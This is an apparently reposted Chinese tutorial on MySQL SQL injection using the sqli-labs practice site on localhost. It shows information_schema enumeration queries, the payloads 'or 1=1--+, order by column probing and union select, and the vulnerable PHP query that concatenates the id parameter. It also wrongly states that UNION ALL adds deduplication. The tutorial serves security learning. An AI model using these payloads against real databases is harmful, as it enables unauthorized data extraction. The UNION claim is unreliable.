本文共 1742 字,大约阅读时间需要 5 分钟。
一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。
现在做一些mysql的基本操作。启动mysql,然后通过查询检查下数据库:
show databases;
现在我们可以看到这里有四张表,然后我们来看下这张表的结构。
desc emails;
在继续进行前台攻击时,我们想讨论下系统数据库,即information_schema。所以我们使用它.
use information_schema
让我们来看下表格。
show tables;
现在我们先来枚举这张表
desc tables;
现在我们来使用这个查询:
select table_name frominformation_schema.table where table_schema = "security";
使用这个查询,我们可以下载到表名。
Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****
我们可以在 http://127.0.0.1/sqllib/Less-5/?id=1 后面直接添加一个 ‘ ,来看一下效果:
从上述错误当中,我们可以看到提交到sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1,多加了一个 ’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的‘ 去掉呢?
尝试 ‘or 1=1--+
此时构造的 sql 语句就成了
Select ****** where id='1'or 1=1--+' LIMIT 0,1
可以看到正常返回数据。此处可以利用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4--+的结果显示结果超出。
最后从源代码中分析下为什么会造成注入?
Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT0,1";
Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1--+,直接构造的 sql 语句就是
SELECT * FROM users WHERE id=’1’or1=1--+ LIMIT 0,1
这条语句因 or 1=1 所以为永恒真。
此外,此处介绍 union联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行 information_schema 知识的应用。
http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+
当 id 的数据在数据库中不存在时,(此时我们可以id=-1,两个 sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。
未完待续.......................
End.
文章转载自:数据库SQL